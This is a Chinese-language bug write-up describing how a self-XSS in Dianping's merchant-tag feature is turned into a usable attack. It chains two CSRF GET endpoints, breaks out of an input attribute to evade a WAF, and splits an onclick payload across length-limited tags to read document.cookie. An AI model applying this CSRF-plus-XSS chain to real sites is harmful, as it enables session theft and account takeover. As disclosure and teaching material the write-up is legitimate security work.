大众点评selfxss结合两个csrf变废为宝
漏洞不值钱,但还是蛮好玩的
漏洞信息
类型:存储型xss
场景:收藏商户后,去已收藏的商户列表可以给指定商户添加tag(与下文html标签区别)
漏洞限制:
1.selfxss,即需要用户自己登录账号,然后自己输入payload。。。绕过思路当然是csrf了
2.有waf拦截,绕过思路就是各种换标签换属性换事件尝试咯
3.单个tag字数不能10个字符,多个tag空格隔开,一次最多5个tag
突破selfxss
这里没什么好说的,找到添tag的接口:
http://www.dianping.com/addtag.do?tags={xsspayload}&shopid=12345
但是这里有个小问题,如果用户并没有收藏12345这个商户,添加tag是无意义的,因此需要再找一个添加指定商户的csrf,碰巧也是存在的:
http://www.dianping.com/addsh.do?shopid=12345
绕过waf
发现xss是因为我输入了一个<input>标签被解析,但是只要标签有其他属性就会被拦截,类似下面这样的都不可以
<标签名称 属性名称="属性值" on事件="执行函数">
但是只要不输入尖括号,就不被拦截
能不能不适用尖括号呢?
还真可以———标签输入栏本身就是一个 <input>标签!
<input name="tag" value="tag1 tag2 tag3 tag4 tag5">
因此可以在标签内闭合即可,我输入"onclick="alert(),就变成
<input name="tag" value=""onclick="alert()">
绕过tag长度限制
其实上一步的palyload是无法保存的,因为单个tag最多只能10个字符,因此需要把payload拆分成至多5份,每份字符不大于10个,中间用空格(%20)隔开,如果想弹出cookie,原始payload如下:
"onclick="alert(document.cookie)
下面是拆分思路:
"onclick= "alert(document.cookie)
"onclick= "alert (document.cookie)
到这步,document.cookie怎么拆,坑爹啊!这样拆↓
document ['cookie']
最终payload如下:
"onclick= "a= document ['cookie'] ;alert(a)